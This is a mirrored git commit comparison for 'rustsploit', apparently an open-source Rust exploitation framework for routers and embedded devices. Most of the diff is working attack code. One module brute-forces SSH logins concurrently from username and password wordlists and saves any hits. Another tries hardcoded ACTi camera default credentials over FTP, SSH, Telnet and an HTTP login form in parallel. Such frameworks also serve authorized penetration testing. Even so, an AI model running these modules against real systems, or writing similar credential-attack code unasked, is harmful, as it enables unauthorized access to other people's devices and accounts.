mirror of
https://github.com/s-b-repo/rustsploit
synced 2026-06-27 09:54:12 +00:00
Compare commits
12 Commits
| Author | SHA1 | Date | |
|---|---|---|---|
| b41b3c58c0 | |||
| 2ca6920b3d | |||
| 79cbecb69c | |||
| 837660fccf | |||
| 6c3e9a9fee | |||
| d30bc674c5 | |||
| eefd13f15d | |||
| e33c9b5511 | |||
| 7cd7a21231 | |||
| 0621f32f03 | |||
| ac38523823 | |||
| d074a8157f |
@@ -30,3 +30,6 @@ crossbeam-channel = "0.5.15"
|
||||
telnet = "0.2.3"
|
||||
|
||||
walkdir = "2.5.0"
|
||||
|
||||
#ssh
|
||||
ssh2 = "0.9.5"
|
||||
|
||||
@@ -5,28 +5,30 @@
|
||||
|
||||
A Rust-based modular exploitation framework inspired by RouterSploit. This tool allows for running modules such as exploits, scanners, and credential checkers against embedded devices like routers.
|
||||
|
||||

|
||||

|
||||
|
||||
---
|
||||
|
||||
### Goals & To Do lists
|
||||
|
||||
docs
|
||||
|
||||
convert exploits and add modules
|
||||
|
||||
add wordlists and brute forcing modules
|
||||
|
||||
# completed
|
||||
```
|
||||
created docs
|
||||
|
||||
telnet_bruteforce
|
||||
telnet brute forcing module
|
||||
|
||||
ssh brute forcing module
|
||||
|
||||
ftp anonymous login module
|
||||
|
||||
ftp brute forcing module
|
||||
|
||||
dynamic modules listing and colored listing
|
||||
|
||||
```
|
||||
|
||||
## 🚀 Building & Running
|
||||
|
||||
@@ -39,7 +41,7 @@ cd r-routersploit
|
||||
|
||||
### 🛠️ Build the Project
|
||||
|
||||
```bash
|
||||
```
|
||||
cargo build
|
||||
```
|
||||
|
||||
@@ -75,7 +77,7 @@ cargo run
|
||||
|
||||
Once inside the shell, you can explore and execute modules:
|
||||
|
||||
```shell
|
||||
```
|
||||
rsf> help
|
||||
rsf> modules
|
||||
rsf> use exploits/sample_exploit
|
||||
|
||||
Binary file not shown.
|
After Width: | Height: | Size: 104 KiB |
+18
-9
@@ -1,18 +1,27 @@
|
||||
use anyhow::{Result, bail};
|
||||
|
||||
use crate::modules::creds::generic::{
|
||||
ftp_anonymous,
|
||||
ftp_bruteforce,
|
||||
sample_cred_check,
|
||||
telnet_bruteforce,
|
||||
// Import all available credential modules
|
||||
use crate::modules::creds::{
|
||||
generic::{
|
||||
ftp_anonymous,
|
||||
ftp_bruteforce,
|
||||
sample_cred_check,
|
||||
telnet_bruteforce,
|
||||
ssh_bruteforce,
|
||||
},
|
||||
camera::acti::acti_camera_default,
|
||||
};
|
||||
|
||||
/// Dispatch function for credential modules
|
||||
pub async fn run_cred_check(module_name: &str, target: &str) -> Result<()> {
|
||||
match module_name {
|
||||
"generic/sample_cred_check" => sample_cred_check::run(target).await?,
|
||||
"generic/ftp_bruteforce" => ftp_bruteforce::run(target).await?,
|
||||
"generic/ftp_anonymous" => ftp_anonymous::run(target).await?,
|
||||
"generic/telnet_bruteforce" => telnet_bruteforce::run(target).await?,
|
||||
"generic/sample_cred_check" => sample_cred_check::run(target).await?,
|
||||
"generic/ftp_bruteforce" => ftp_bruteforce::run(target).await?,
|
||||
"generic/ftp_anonymous" => ftp_anonymous::run(target).await?,
|
||||
"generic/telnet_bruteforce" => telnet_bruteforce::run(target).await?,
|
||||
"generic/ssh_bruteforce" => ssh_bruteforce::run(target).await?,
|
||||
"camera/acti/acti_camera_default" => acti_camera_default::run(target).await?,
|
||||
|
||||
_ => bail!("Creds module '{}' not found.", module_name),
|
||||
}
|
||||
|
||||
|
||||
@@ -0,0 +1,203 @@
|
||||
use anyhow::{Context, Result};
|
||||
use async_ftp::FtpStream;
|
||||
use reqwest::Client;
|
||||
use ssh2::Session;
|
||||
use telnet::{Telnet, Event};
|
||||
use std::{net::TcpStream, time::Duration};
|
||||
use tokio::{join, task};
|
||||
|
||||
#[allow(dead_code)]
|
||||
/// Supported Acti services
|
||||
pub enum ServiceType {
|
||||
Ftp,
|
||||
Ssh,
|
||||
Telnet,
|
||||
Http,
|
||||
}
|
||||
|
||||
/// Common config
|
||||
#[derive(Clone)]
|
||||
pub struct Config {
|
||||
pub target: String,
|
||||
pub port: u16,
|
||||
pub credentials: Vec<(&'static str, &'static str)>,
|
||||
pub stop_on_success: bool,
|
||||
pub verbosity: bool,
|
||||
}
|
||||
|
||||
/// FTP check (async)
|
||||
pub async fn check_ftp(config: &Config) -> Result<()> {
|
||||
println!("[*] Checking FTP credentials on {}:{}", config.target, config.port);
|
||||
|
||||
for (username, password) in &config.credentials {
|
||||
if config.verbosity {
|
||||
println!("[*] Trying FTP: {}:{}", username, password);
|
||||
}
|
||||
|
||||
let address = format!("{}:{}", config.target, config.port);
|
||||
match FtpStream::connect(address).await {
|
||||
Ok(mut ftp) => {
|
||||
if ftp.login(username, password).await.is_ok() {
|
||||
println!("[+] FTP credentials valid: {}:{}", username, password);
|
||||
if config.stop_on_success {
|
||||
return Ok(());
|
||||
}
|
||||
}
|
||||
let _ = ftp.quit().await;
|
||||
}
|
||||
Err(_) => continue,
|
||||
}
|
||||
}
|
||||
|
||||
println!("[-] No valid FTP credentials found on {}:{}", config.target, config.port);
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// SSH check (blocking, so we use spawn_blocking in our run function)
|
||||
pub fn check_ssh_blocking(config: &Config) -> Result<()> {
|
||||
println!("[*] Checking SSH credentials on {}:{}", config.target, config.port);
|
||||
|
||||
for (username, password) in &config.credentials {
|
||||
if config.verbosity {
|
||||
println!("[*] Trying SSH: {}:{}", username, password);
|
||||
}
|
||||
|
||||
let address = format!("{}:{}", config.target, config.port);
|
||||
if let Ok(stream) = TcpStream::connect(address) {
|
||||
let mut session = Session::new().context("Failed to create SSH session")?;
|
||||
session.set_tcp_stream(stream);
|
||||
session.handshake().context("SSH handshake failed")?;
|
||||
|
||||
if session.userauth_password(username, password).is_ok() && session.authenticated() {
|
||||
println!("[+] SSH credentials valid: {}:{}", username, password);
|
||||
if config.stop_on_success {
|
||||
return Ok(());
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
println!("[-] No valid SSH credentials found on {}:{}", config.target, config.port);
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// Telnet check (blocking, so we use spawn_blocking in our run function)
|
||||
pub fn check_telnet_blocking(config: &Config) -> Result<()> {
|
||||
println!("[*] Checking Telnet credentials on {}:{}", config.target, config.port);
|
||||
|
||||
for (username, password) in &config.credentials {
|
||||
if config.verbosity {
|
||||
println!("[*] Trying Telnet: {}:{}", username, password);
|
||||
}
|
||||
|
||||
if let Ok(mut telnet) = Telnet::connect((config.target.as_str(), config.port), 500) {
|
||||
let _ = telnet.write(format!("{}\r\n", username).as_bytes());
|
||||
let _ = telnet.write(format!("{}\r\n", password).as_bytes());
|
||||
|
||||
// Give device time to respond
|
||||
std::thread::sleep(Duration::from_millis(500));
|
||||
|
||||
if let Ok(Event::Data(buffer)) = telnet.read_timeout(Duration::from_millis(800)) {
|
||||
let response = String::from_utf8_lossy(&buffer);
|
||||
if !response.contains("incorrect") && !response.contains("failed") {
|
||||
println!("[+] Telnet credentials valid: {}:{}", username, password);
|
||||
if config.stop_on_success {
|
||||
return Ok(());
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
println!("[-] No valid Telnet credentials found on {}:{}", config.target, config.port);
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// HTTP Web Login check (async)
|
||||
pub async fn check_http_form(config: &Config) -> Result<()> {
|
||||
println!("[*] Checking HTTP Web Form credentials on {}:{}", config.target, config.port);
|
||||
|
||||
let client = Client::builder()
|
||||
.danger_accept_invalid_certs(true)
|
||||
.timeout(Duration::from_secs(5))
|
||||
.build()?;
|
||||
|
||||
let url = format!("http://{}:{}/video.htm", config.target, config.port);
|
||||
|
||||
for (username, password) in &config.credentials {
|
||||
if config.verbosity {
|
||||
println!("[*] Trying HTTP: {}:{}", username, password);
|
||||
}
|
||||
|
||||
let data = [
|
||||
("LOGIN_ACCOUNT", *username),
|
||||
("LOGIN_PASSWORD", *password),
|
||||
("LANGUAGE", "0"),
|
||||
("btnSubmit", "Login"),
|
||||
];
|
||||
|
||||
let res = client
|
||||
.post(&url)
|
||||
.form(&data)
|
||||
.send()
|
||||
.await
|
||||
.context("[!] Failed to send HTTP form request")?;
|
||||
|
||||
let body = res.text().await.unwrap_or_default();
|
||||
|
||||
if !body.contains(">Password<") {
|
||||
println!("[+] HTTP credentials valid: {}:{}", username, password);
|
||||
if config.stop_on_success {
|
||||
return Ok(());
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
println!("[-] No valid HTTP credentials found on {}:{}", config.target, config.port);
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// Entrypoint for module - parallel checks
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
let creds = vec![
|
||||
("admin", "12345"),
|
||||
("admin", "123456"),
|
||||
("Admin", "12345"),
|
||||
("Admin", "123456"),
|
||||
];
|
||||
|
||||
let base_config = Config {
|
||||
target: target.to_string(),
|
||||
port: 0,
|
||||
credentials: creds,
|
||||
stop_on_success: true,
|
||||
verbosity: true,
|
||||
};
|
||||
|
||||
let ftp_conf = Config { port: 21, ..base_config.clone() };
|
||||
let ssh_conf = Config { port: 22, ..base_config.clone() };
|
||||
let telnet_conf = Config { port: 23, ..base_config.clone() };
|
||||
let http_conf = Config { port: 80, ..base_config.clone() };
|
||||
|
||||
// Start all checks in parallel
|
||||
let (ftp_res, ssh_res, telnet_res, http_res) = join!(
|
||||
check_ftp(&ftp_conf),
|
||||
async {
|
||||
// run blocking ssh check in separate thread
|
||||
task::spawn_blocking(move || check_ssh_blocking(&ssh_conf)).await?
|
||||
},
|
||||
async {
|
||||
// run blocking telnet check in separate thread
|
||||
task::spawn_blocking(move || check_telnet_blocking(&telnet_conf)).await?
|
||||
},
|
||||
check_http_form(&http_conf),
|
||||
);
|
||||
|
||||
// Evaluate results
|
||||
ftp_res?;
|
||||
ssh_res?;
|
||||
telnet_res?;
|
||||
http_res?;
|
||||
|
||||
Ok(())
|
||||
}
|
||||
@@ -0,0 +1 @@
|
||||
pub mod acti_camera_default;
|
||||
@@ -0,0 +1 @@
|
||||
pub mod acti;
|
||||
@@ -3,4 +3,5 @@
|
||||
pub mod ftp_bruteforce;
|
||||
pub mod ftp_anonymous;
|
||||
pub mod telnet_bruteforce;
|
||||
pub mod ssh_bruteforce;
|
||||
|
||||
|
||||
@@ -0,0 +1,240 @@
|
||||
use anyhow::{anyhow, Result};
|
||||
use ssh2::Session;
|
||||
use std::{
|
||||
fs::File,
|
||||
io::{BufRead, BufReader, Write},
|
||||
net::TcpStream,
|
||||
path::{Path, PathBuf},
|
||||
sync::Arc,
|
||||
};
|
||||
use tokio::{
|
||||
sync::Mutex,
|
||||
task::spawn_blocking,
|
||||
time::{sleep, Duration},
|
||||
};
|
||||
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
println!("=== SSH Brute Force Module ===");
|
||||
println!("[*] Target: {}", target);
|
||||
|
||||
let port: u16 = loop {
|
||||
let input = prompt_default("SSH Port", "22")?;
|
||||
match input.parse() {
|
||||
Ok(p) => break p,
|
||||
Err(_) => println!("Invalid port. Try again."),
|
||||
}
|
||||
};
|
||||
|
||||
let usernames_file = prompt_required("Username wordlist")?;
|
||||
let passwords_file = prompt_required("Password wordlist")?;
|
||||
|
||||
let concurrency: usize = loop {
|
||||
let input = prompt_default("Max concurrent tasks", "10")?;
|
||||
match input.parse() {
|
||||
Ok(n) if n > 0 => break n,
|
||||
_ => println!("Invalid number. Try again."),
|
||||
}
|
||||
};
|
||||
|
||||
let stop_on_success = prompt_yes_no("Stop on first success?", true)?;
|
||||
let save_results = prompt_yes_no("Save results to file?", true)?;
|
||||
let save_path = if save_results {
|
||||
Some(prompt_default("Output file", "ssh_results.txt")?)
|
||||
} else {
|
||||
None
|
||||
};
|
||||
let verbose = prompt_yes_no("Verbose mode?", false)?;
|
||||
let combo_mode = prompt_yes_no("Combination mode? (try every pass with every user)", false)?;
|
||||
|
||||
let addr = format!("{}:{}", target, port);
|
||||
let found = Arc::new(Mutex::new(Vec::new()));
|
||||
let stop = Arc::new(Mutex::new(false));
|
||||
|
||||
println!("\n[*] Starting brute-force on {}", addr);
|
||||
|
||||
let users = load_lines(&usernames_file)?;
|
||||
let pass_file = File::open(&passwords_file)?;
|
||||
let pass_buf = BufReader::new(pass_file);
|
||||
let pass_lines: Vec<_> = pass_buf.lines().filter_map(Result::ok).collect();
|
||||
|
||||
let mut idx = 0;
|
||||
for pass in pass_lines {
|
||||
if *stop.lock().await {
|
||||
break;
|
||||
}
|
||||
|
||||
let userlist = if combo_mode {
|
||||
users.clone()
|
||||
} else {
|
||||
vec![users.get(idx % users.len()).unwrap_or(&users[0]).to_string()]
|
||||
};
|
||||
|
||||
let mut handles = vec![];
|
||||
|
||||
for user in userlist {
|
||||
let addr = addr.clone();
|
||||
let user = user.clone();
|
||||
let pass = pass.clone();
|
||||
let found = Arc::clone(&found);
|
||||
let stop = Arc::clone(&stop);
|
||||
|
||||
let handle = tokio::spawn(async move {
|
||||
if *stop.lock().await {
|
||||
return;
|
||||
}
|
||||
|
||||
match try_ssh_login(&addr, &user, &pass).await {
|
||||
Ok(true) => {
|
||||
println!("[+] {} -> {}:{}", addr, user, pass);
|
||||
found.lock().await.push((addr.clone(), user.clone(), pass.clone()));
|
||||
if stop_on_success {
|
||||
*stop.lock().await = true;
|
||||
}
|
||||
}
|
||||
Ok(false) => {
|
||||
log(verbose, &format!("[-] {} -> {}:{}", addr, user, pass));
|
||||
}
|
||||
Err(e) => {
|
||||
log(verbose, &format!("[!] {}: error: {}", addr, e));
|
||||
}
|
||||
}
|
||||
|
||||
sleep(Duration::from_millis(10)).await;
|
||||
});
|
||||
|
||||
handles.push(handle);
|
||||
|
||||
if handles.len() >= concurrency {
|
||||
for h in handles.drain(..) {
|
||||
let _ = h.await;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
for h in handles {
|
||||
let _ = h.await;
|
||||
}
|
||||
|
||||
idx += 1;
|
||||
}
|
||||
|
||||
let creds = found.lock().await;
|
||||
if creds.is_empty() {
|
||||
println!("\n[-] No credentials found.");
|
||||
} else {
|
||||
println!("\n[+] Valid credentials:");
|
||||
for (host, user, pass) in creds.iter() {
|
||||
println!(" {} -> {}:{}", host, user, pass);
|
||||
}
|
||||
|
||||
if let Some(path) = save_path {
|
||||
let filename = get_filename_in_current_dir(&path);
|
||||
let mut file = File::create(&filename)?;
|
||||
for (host, user, pass) in creds.iter() {
|
||||
writeln!(file, "{} -> {}:{}", host, user, pass)?;
|
||||
}
|
||||
println!("[+] Results saved to '{}'", filename.display());
|
||||
}
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
async fn try_ssh_login(addr: &str, user: &str, pass: &str) -> Result<bool> {
|
||||
let addr = addr.to_string();
|
||||
let user = user.to_string();
|
||||
let pass = pass.to_string();
|
||||
|
||||
let result = spawn_blocking(move || {
|
||||
match TcpStream::connect(&addr) {
|
||||
Ok(tcp) => {
|
||||
let mut sess = Session::new()?; // ✅ fixed here
|
||||
sess.set_tcp_stream(tcp);
|
||||
sess.handshake()?;
|
||||
match sess.userauth_password(&user, &pass) {
|
||||
Ok(_) => Ok(sess.authenticated()),
|
||||
Err(_) => Ok(false),
|
||||
}
|
||||
}
|
||||
Err(e) => Err(anyhow!("Connection error: {}", e)),
|
||||
}
|
||||
})
|
||||
.await??;
|
||||
|
||||
Ok(result)
|
||||
}
|
||||
|
||||
// === Utility Functions ===
|
||||
|
||||
fn prompt_required(msg: &str) -> Result<String> {
|
||||
loop {
|
||||
print!("{}: ", msg);
|
||||
std::io::Write::flush(&mut std::io::stdout())?;
|
||||
let mut s = String::new();
|
||||
std::io::stdin().read_line(&mut s)?;
|
||||
let trimmed = s.trim();
|
||||
if !trimmed.is_empty() {
|
||||
return Ok(trimmed.to_string());
|
||||
} else {
|
||||
println!("This field is required.");
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
fn prompt_default(msg: &str, default: &str) -> Result<String> {
|
||||
print!("{} [{}]: ", msg, default);
|
||||
std::io::Write::flush(&mut std::io::stdout())?;
|
||||
let mut s = String::new();
|
||||
std::io::stdin().read_line(&mut s)?;
|
||||
let trimmed = s.trim();
|
||||
Ok(if trimmed.is_empty() {
|
||||
default.to_string()
|
||||
} else {
|
||||
trimmed.to_string()
|
||||
})
|
||||
}
|
||||
|
||||
fn prompt_yes_no(msg: &str, default_yes: bool) -> Result<bool> {
|
||||
let default = if default_yes { "y" } else { "n" };
|
||||
loop {
|
||||
print!("{} (y/n) [{}]: ", msg, default);
|
||||
std::io::Write::flush(&mut std::io::stdout())?;
|
||||
let mut s = String::new();
|
||||
std::io::stdin().read_line(&mut s)?;
|
||||
let input = s.trim().to_lowercase();
|
||||
if input.is_empty() {
|
||||
return Ok(default_yes);
|
||||
} else if input == "y" || input == "yes" {
|
||||
return Ok(true);
|
||||
} else if input == "n" || input == "no" {
|
||||
return Ok(false);
|
||||
} else {
|
||||
println!("Invalid input. Please enter 'y' or 'n'.");
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
fn load_lines<P: AsRef<Path>>(path: P) -> Result<Vec<String>> {
|
||||
let file = File::open(path)?;
|
||||
let reader = BufReader::new(file);
|
||||
Ok(reader
|
||||
.lines()
|
||||
.filter_map(Result::ok)
|
||||
.filter(|l| !l.trim().is_empty())
|
||||
.collect())
|
||||
}
|
||||
|
||||
fn log(verbose: bool, msg: &str) {
|
||||
if verbose {
|
||||
println!("{}", msg);
|
||||
}
|
||||
}
|
||||
|
||||
fn get_filename_in_current_dir(input: &str) -> PathBuf {
|
||||
let name = Path::new(input)
|
||||
.file_name()
|
||||
.unwrap_or_default()
|
||||
.to_string_lossy()
|
||||
.to_string();
|
||||
PathBuf::from(format!("./{}", name))
|
||||
}
|
||||
@@ -1 +1,2 @@
|
||||
pub mod generic; // <-- lowercase folder name
|
||||
pub mod camera;
|
||||
|
||||
Reference in New Issue
Block a user